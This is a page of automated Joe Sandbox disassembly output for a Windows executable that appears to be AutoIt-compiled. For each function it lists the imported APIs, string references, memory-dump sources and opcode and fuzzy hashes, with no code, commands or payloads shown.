Part of subcall function 00007FF629238E28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF629238E4F

Part of subcall function 00007FF629238E28: _invalid_parameter_noinfo.LIBCMT ref: 00007FF629238EED

Strings

.icl, xrefs: 00007FF6292C0171
.exe, xrefs: 00007FF6292C0193
.dll, xrefs: 00007FF6292C01B5

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Load$Image$IconLibraryMessageSend_invalid_parameter_noinfo$DestroyExtractFree
String ID: .dll$.exe$.icl
API String ID: 258715311-1154884017
Opcode ID: e03b8a297f3e31543187ea4d980dcab107f3fc290ba37e0d0746b7471e731d00
Instruction ID: 7cbe9b54a5d0bfd45b0e637afb767dc2094c0984276ba8da248de141f2c4ebb7
Opcode Fuzzy Hash: e03b8a297f3e31543187ea4d980dcab107f3fc290ba37e0d0746b7471e731d00
Instruction Fuzzy Hash: 7071B232A2AA5282FF249F219A44AB933A4FF84B98F450635ED1D877D4DF3CD445E301

Function 00007FF6292C03D0 Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF6292C0422
GetFileSize.KERNEL32 ref: 00007FF6292C0436
GlobalAlloc.KERNEL32 ref: 00007FF6292C0445
CloseHandle.KERNEL32 ref: 00007FF6292C0456
GlobalLock.KERNEL32 ref: 00007FF6292C0466
ReadFile.KERNEL32 ref: 00007FF6292C047E
GlobalUnlock.KERNEL32 ref: 00007FF6292C0489
CloseHandle.KERNEL32 ref: 00007FF6292C0492
CreateStreamOnHGlobal.OLE32 ref: 00007FF6292C04A8
OleLoadPicture.OLEAUT32 ref: 00007FF6292C04CB
GlobalFree.KERNEL32 ref: 00007FF6292C04DE
GetObjectW.GDI32 ref: 00007FF6292C0508
CopyImage.USER32 ref: 00007FF6292C0541
DeleteObject.GDI32 ref: 00007FF6292C056E
SendMessageW.USER32 ref: 00007FF6292C058D

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 7c311c18288b1496fa214aa0c4abe44590be5c31b38ad7f7d9d564ed982c3a32
Instruction ID: 66cb112f206623a58e8d2e993a9d4ff7aa356f80588ebcc5ab8c6e01e0c5cf01
Opcode Fuzzy Hash: 7c311c18288b1496fa214aa0c4abe44590be5c31b38ad7f7d9d564ed982c3a32
Instruction Fuzzy Hash: 62515636B2AB418AFF14CF66E904A6933A4FB88B94B514131DE1E83B94DF39E405D701

Function 00007FF629290D70 Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 388COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00007FF62929102D
VariantClear.OLEAUT32 ref: 00007FF62929111F

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 00007FF629290F10
Default, xrefs: 00007FF629290E89

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Variant$ClearInit
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 2610073882-3931177956
Opcode ID: 71cb67d8980752d71d61beca9315e30f05edd3d223294706e17d030598d61897
Instruction ID: 71e60543e7584b14d9c784ceab2fb72a1eb015009bf34cebdf1438a2c29e9c79
Opcode Fuzzy Hash: 71cb67d8980752d71d61beca9315e30f05edd3d223294706e17d030598d61897
Instruction Fuzzy Hash: FB028232E2A65281FF589F26CA5417C3371EF85B44F658535CA0E87A96CF3DE450E306

Function 00007FF62929246C Relevance: 21.3, APIs: 11, Strings: 1, Instructions: 281fileCOMMON

Download Yara Rule

APIs

wcscpy.LIBCMT ref: 00007FF629292590
wcscat.LIBCMT ref: 00007FF6292925A3
wcscat.LIBCMT ref: 00007FF6292925E1
wcscat.LIBCMT ref: 00007FF6292925F4

Part of subcall function 00007FF6292167D8: _fread_nolock.LIBCMT ref: 00007FF629216805

GetTempPathW.KERNEL32 ref: 00007FF62929271B
GetTempFileNameW.KERNEL32 ref: 00007FF629292737

Part of subcall function 00007FF6292448E0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF629244835

DeleteFileW.KERNEL32 ref: 00007FF629292854
DeleteFileW.KERNEL32 ref: 00007FF6292928BB

Strings

aut, xrefs: 00007FF629292729

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Filewcscat$DeleteTemp$NamePath_fread_nolock_invalid_parameter_noinfowcscpy
String ID: aut
API String ID: 130057722-3010740371
Opcode ID: 9e3bb30c6d43dfc108f49b63acd44aa3cfb888b98a274a36fddad15c1dafbe64
Instruction ID: d14e839165e6b4e7591d4693f6064f3e638376fbb83a4d6ca2e9f6e1719106c1
Opcode Fuzzy Hash: 9e3bb30c6d43dfc108f49b63acd44aa3cfb888b98a274a36fddad15c1dafbe64
Instruction Fuzzy Hash: 9EC17F32629A8696FF20DF25ED406E97360FBC5788F504036EA8D8BA99DF3CD205D701

Function 00007FF6292BE40C Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 177windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00007FF6292BE510
CreateWindowExW.USER32 ref: 00007FF6292BE5BC
SendMessageW.USER32 ref: 00007FF6292BE5E3
SendMessageW.USER32 ref: 00007FF6292BE5F8
DestroyWindow.USER32 ref: 00007FF6292BE61C
CreateWindowExW.USER32 ref: 00007FF6292BE675
SendMessageW.USER32 ref: 00007FF6292BE692
GetDesktopWindow.USER32 ref: 00007FF6292BE6AE
GetWindowRect.USER32 ref: 00007FF6292BE6BB
SendMessageW.USER32 ref: 00007FF6292BE6D0
SendMessageW.USER32 ref: 00007FF6292BE6EE

Strings

tooltips_class32, xrefs: 00007FF6292BE570, 00007FF6292BE63F

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopRect
String ID: tooltips_class32
API String ID: 2443926738-1918224756
Opcode ID: aaeb60d555cc86bf3e66e764e60d0e4162c92bacd9f6913f3df39f71d352b9df
Instruction ID: 76881908add1b66b691926c530d4e2a5e92ac60d9368bc60a905b9e6de8e55e7
Opcode Fuzzy Hash: aaeb60d555cc86bf3e66e764e60d0e4162c92bacd9f6913f3df39f71d352b9df
Instruction Fuzzy Hash: B4917632A2AA8586FB50CF65E9947AD73B1EB88B84F404036DE4D87B58DF3CE049D701

Function 00007FF629298BF4 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00007FF629298CDA
SystemTimeToFileTime.KERNEL32 ref: 00007FF629298CEC
LocalFileTimeToFileTime.KERNEL32 ref: 00007FF629298D00
wcscat.LIBCMT ref: 00007FF629298D84
wcscat.LIBCMT ref: 00007FF629298D95
GetCurrentDirectoryW.KERNEL32 ref: 00007FF629298DA6
SetCurrentDirectoryW.KERNEL32 ref: 00007FF629298DB3
SetCurrentDirectoryW.KERNEL32 ref: 00007FF629298DEE
SetCurrentDirectoryW.KERNEL32 ref: 00007FF629298E3F
SetCurrentDirectoryW.KERNEL32 ref: 00007FF629298E4C
wcscpy.LIBCMT ref: 00007FF629298E5E

Strings

*.*, xrefs: 00007FF629298E52

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Localwcscat$Systemwcscpy
String ID: *.*
API String ID: 1111067124-438819550
Opcode ID: 98a71cfb6502df9087812816f04c928264b270ce88f96a393908c63e275b4126
Instruction ID: a62b1f1e6ac0d9adcf2b38db63b0a6f9bfcba49eb25962cf8eb7494a5d785e48
Opcode Fuzzy Hash: 98a71cfb6502df9087812816f04c928264b270ce88f96a393908c63e275b4126
Instruction Fuzzy Hash: 2C718D3262AA8681FF10DF22DE401EA7321FBC4B88F545031EA4D87BA6DF79E549D741

Function 00007FF6292A4F54 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 151windowCOMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF6292A4FDF
CreateCompatibleBitmap.GDI32 ref: 00007FF6292A4FF3
CreateCompatibleDC.GDI32 ref: 00007FF6292A5001
SelectObject.GDI32 ref: 00007FF6292A5011
StretchBlt.GDI32 ref: 00007FF6292A5087
GetDIBits.GDI32 ref: 00007FF6292A50CE
GetDIBits.GDI32 ref: 00007FF6292A5107
SelectObject.GDI32 ref: 00007FF6292A5116
DeleteObject.GDI32 ref: 00007FF6292A511F
DeleteDC.GDI32 ref: 00007FF6292A5128
ReleaseDC.USER32 ref: 00007FF6292A5133

Strings

, xrefs: 00007FF6292A5053

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID:
API String ID: 2598888154-3916222277
Opcode ID: dea97f0d0ad0f9214e770fe855ba7d83dc888621a1f275c7b89ba2b07fbcc766
Instruction ID: 1aae9e5844cc1db737247cb2ddb45e07c779e25fe93fe97a567251d086f4e5c0
Opcode Fuzzy Hash: dea97f0d0ad0f9214e770fe855ba7d83dc888621a1f275c7b89ba2b07fbcc766
Instruction Fuzzy Hash: A1515777B2A641CBEB50CF65E944AAE77B5F788B88F008525EE4993B18CF38D4158B01

Function 00007FF62927B0C4 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 117memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32 ref: 00007FF62927B101
SafeArrayAllocData.OLEAUT32 ref: 00007FF62927B163
VariantInit.OLEAUT32 ref: 00007FF62927B175
SafeArrayAccessData.OLEAUT32 ref: 00007FF62927B198
VariantCopy.OLEAUT32 ref: 00007FF62927B203
SafeArrayUnaccessData.OLEAUT32 ref: 00007FF62927B217
VariantClear.OLEAUT32 ref: 00007FF62927B22E
SafeArrayDestroyData.OLEAUT32 ref: 00007FF62927B23D
SafeArrayDestroyDescriptor.OLEAUT32 ref: 00007FF62927B247
VariantClear.OLEAUT32 ref: 00007FF62927B25A
SafeArrayDestroyDescriptor.OLEAUT32 ref: 00007FF62927B266

Strings

NULL Pointer assignment, xrefs: 00007FF62927B0D3

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID: NULL Pointer assignment
API String ID: 2706829360-2785691316
Opcode ID: f387a50e6818b73d110b12cd73088d785cdd73093c11eac48bc39c6d5f3c3ae3
Instruction ID: d88916c2c498221c23fcc79300fe85095bf62c05d662e682dd2dd20dcc6ea4a2
Opcode Fuzzy Hash: f387a50e6818b73d110b12cd73088d785cdd73093c11eac48bc39c6d5f3c3ae3
Instruction Fuzzy Hash: E9514F22A2AA1289FF00DF61DD856EC3770FBC4B88F414035EA0E97AA5DF38D485D341

Function 00007FF62928A40C Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 188windowsleepCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32 ref: 00007FF62928A4B8
SetMenuItemInfoW.USER32 ref: 00007FF62928A4F0
Sleep.KERNEL32 ref: 00007FF62928A503
GetMenuItemCount.USER32 ref: 00007FF62928A549
GetMenuItemID.USER32 ref: 00007FF62928A566
GetMenuItemID.USER32 ref: 00007FF62928A58D
GetMenuItemID.USER32 ref: 00007FF62928A5CB
CheckMenuRadioItem.USER32 ref: 00007FF62928A610
GetMenuItemInfoW.USER32 ref: 00007FF62928A62B
SetMenuItemInfoW.USER32 ref: 00007FF62928A650

Strings

P, xrefs: 00007FF62928A432

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep
String ID: P
API String ID: 1460738036-3110715001
Opcode ID: 425b3d5a2051c68f0670dcdad59ee9d800cc35cf3d8f3cee648c2718cc05a541
Instruction ID: da259c2bb9b65d02390c27792a029d564c7431da3aa200d3d802a22737aa9f12
Opcode Fuzzy Hash: 425b3d5a2051c68f0670dcdad59ee9d800cc35cf3d8f3cee648c2718cc05a541
Instruction Fuzzy Hash: A4710622E2E68246FF19CF249E442BD3761BBC0788F144431DA4E87689CF7CE44AE712

Function 00007FF629293268 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 135COMMON

Download Yara Rule

APIs

LoadStringW.USER32 ref: 00007FF6292932C5
LoadStringW.USER32 ref: 00007FF6292932EB
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF629293433
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF62929344F

Strings

"%s" (%d) : ==> %s:, xrefs: 00007FF629293441
Incorrect parameters to object property !, xrefs: 00007FF6292933B0
Error: , xrefs: 00007FF6292933E1
"%s" (%d) : ==> %s:%s%s, xrefs: 00007FF62929341A
^ ERROR , xrefs: 00007FF62929339F
Line %d (File "%s"):, xrefs: 00007FF629293338

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: LoadStringwprintf
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 3297454147-3080491070
Opcode ID: 921b602f5fcb54eacd7a62b3ce9e0f2e08e995aee376e847d7660b2710a32505
Instruction ID: cef3308d788ff3116dd05766a39f6788f7330ac0b2d00467cba730a747b2a8b5
Opcode Fuzzy Hash: 921b602f5fcb54eacd7a62b3ce9e0f2e08e995aee376e847d7660b2710a32505
Instruction Fuzzy Hash: 10616E21B2AA4292FF00DF60EE406E97360FBC1784F905032EA4D9369ACF7DE51AD741

Function 00007FF6292874B0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 128windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(000087FFFFFE03FF,00007FF62925EA7B,?,?,?,?,?,?,?), ref: 00007FF6292874EA
LoadStringW.USER32 ref: 00007FF629287505
GetModuleHandleW.KERNEL32(?,?,?,?,?,?,?), ref: 00007FF62928751A
LoadStringW.USER32 ref: 00007FF62928752C
wprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF62928766D
MessageBoxW.USER32 ref: 00007FF629287685

Strings

^ ERROR, xrefs: 00007FF6292875F2
%s (%d) : ==> %s: %s %s, xrefs: 00007FF629287650
Error: , xrefs: 00007FF629287623
Line %d:, xrefs: 00007FF62928758D
Line %d (File "%s"):, xrefs: 00007FF62928757F

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: HandleLoadModuleString$Messagewprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 4051287042-2268648507
Opcode ID: 6f60d895e456e1bcae49e483a71499a5f57f9936a6ffa7df15260821f561c8be
Instruction ID: bb0a7debc05f227f658fbebdd0ee8fe24910e273aeb6b22db0c85494d5a59f73
Opcode Fuzzy Hash: 6f60d895e456e1bcae49e483a71499a5f57f9936a6ffa7df15260821f561c8be
Instruction Fuzzy Hash: 3C515A62B3AA5292FF00EF60ED414A97325FFD4784B801032E94D9369ADF7DE50AD742

Function 00007FF62928D4AC Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 65sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00007FF62928D4B9
Sleep.KERNEL32 ref: 00007FF62928D4D7
EnumThreadWindows.USER32 ref: 00007FF62928D4FF
FindWindowExW.USER32 ref: 00007FF62928D528
SetActiveWindow.USER32 ref: 00007FF62928D54B
SendMessageW.USER32 ref: 00007FF62928D55F

Part of subcall function 00007FF62928B5D4: GetWindowThreadProcessId.USER32 ref: 00007FF62928B608
Part of subcall function 00007FF62928B5D4: GetCurrentThreadId.KERNEL32 ref: 00007FF62928B610

SendMessageW.USER32 ref: 00007FF62928D57F
Sleep.KERNEL32 ref: 00007FF62928D58A
IsWindow.USER32 ref: 00007FF62928D597
EndDialog.USER32 ref: 00007FF62928D5AA

Part of subcall function 00007FF62928B5D4: GetWindowThreadProcessId.USER32 ref: 00007FF62928B5F0
Part of subcall function 00007FF62928B5D4: GetCurrentThreadId.KERNEL32 ref: 00007FF62928B5F8
Part of subcall function 00007FF62928B5D4: AttachThreadInput.USER32 ref: 00007FF62928B61D

Strings

BUTTON, xrefs: 00007FF62928D51F

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Thread$Window$CurrentMessageProcessSendSleep$ActiveAttachDialogEnumFindInputTimeWindowstime
String ID: BUTTON
API String ID: 3935177441-3405671355
Opcode ID: f78108109216f5a9e13feac809e7b4bcbb9376684aa6c7b0e89a3c685e053ef5
Instruction ID: 126521d2146c21d4b6db3f7350d776c16b7e8baf8cdcc6884ebbe5ea7e399058
Opcode Fuzzy Hash: f78108109216f5a9e13feac809e7b4bcbb9376684aa6c7b0e89a3c685e053ef5
Instruction Fuzzy Hash: 13314A20A2E64782FF189F25EE94B7532A1FFC5784F454131D90EC66A0CF2CE488A713

Function 00007FF6292115EC Relevance: 18.2, APIs: 12, Instructions: 191timeCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00007FF6292116C8
KillTimer.USER32 ref: 00007FF6292117A3
DestroyAcceleratorTable.USER32 ref: 00007FF629259AB2

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: Destroy$AcceleratorKillTableTimerWindow
String ID:
API String ID: 1974058525-0
Opcode ID: 0c1613d7862a27f9aadcde1ff47aecba04f14ac792f66c26bb2ef633a4b89113
Instruction ID: d0bc88d9463eb05d808e891497bc117d686c12d66d1afe4059fe6e61fcb22f1c
Opcode Fuzzy Hash: 0c1613d7862a27f9aadcde1ff47aecba04f14ac792f66c26bb2ef633a4b89113
Instruction Fuzzy Hash: 35913925A2AA5285FF54CF25EE906783364AFC5B84F984031C94EC779ACF3EE451E312

Function 00007FF629287E64 Relevance: 18.2, APIs: 12, Instructions: 173keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32 ref: 00007FF629287F01
SetKeyboardState.USER32 ref: 00007FF629287F58
GetAsyncKeyState.USER32 ref: 00007FF629287F7E
GetKeyState.USER32 ref: 00007FF629287F93
GetAsyncKeyState.USER32 ref: 00007FF629287FC2
GetKeyState.USER32 ref: 00007FF629287FD2
GetAsyncKeyState.USER32 ref: 00007FF629288001
GetKeyState.USER32 ref: 00007FF629288011
GetAsyncKeyState.USER32 ref: 00007FF629288040
GetKeyState.USER32 ref: 00007FF629288050
GetAsyncKeyState.USER32 ref: 00007FF62928807F
GetKeyState.USER32 ref: 00007FF62928808F

Memory Dump Source

Source File: 00000000.00000002.2454749297.00007FF629211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF629210000, based on PE: true

Associated: 00000000.00000002.2454735510.00007FF629210000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454801129.00007FF6292E8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454841429.00007FF6292FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2454855367.00007FF629304000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff629210000_elyho3x5zz.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 3846c89bd659206fb3b2d3285dc51d557998776e104b8ac6e0153ffc668b7184
Instruction ID: ee577cd33f7d4943259ef9fd80069e88f365fc14cc800723ba2fabf7a64ac4b4
Opcode Fuzzy Hash: 3846c89bd659206fb3b2d3285dc51d557998776e104b8ac6e0153ffc668b7184
Instruction Fuzzy Hash: 1971D412A2E2C145FF388F20AD402B93B60FBD6BC4F590039D68D83692CF5DDA05E762

Function 00007FF629282F78 Relevance: 18.2, APIs: 12, Instructions: 173COMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00007FF629282FB1
GetWindowRect.USER32 ref: 00007FF629282FCD
MoveWindow.USER32 ref: 00007FF629283048
GetDlgItem.USER32 ref: 00007FF629283063
GetWindowRect.USER32 ref: 00007FF629283078
MoveWindow.USER32 ref: 00007FF6292830E2
GetDlgItem.USER32 ref: 00007FF6292830F4
GetWindowRect.USER32 ref: 00007FF629283109
MoveWindow.USER32 ref: 00007FF62928315B
GetDlgItem.USER32 ref: 00007FF629283173
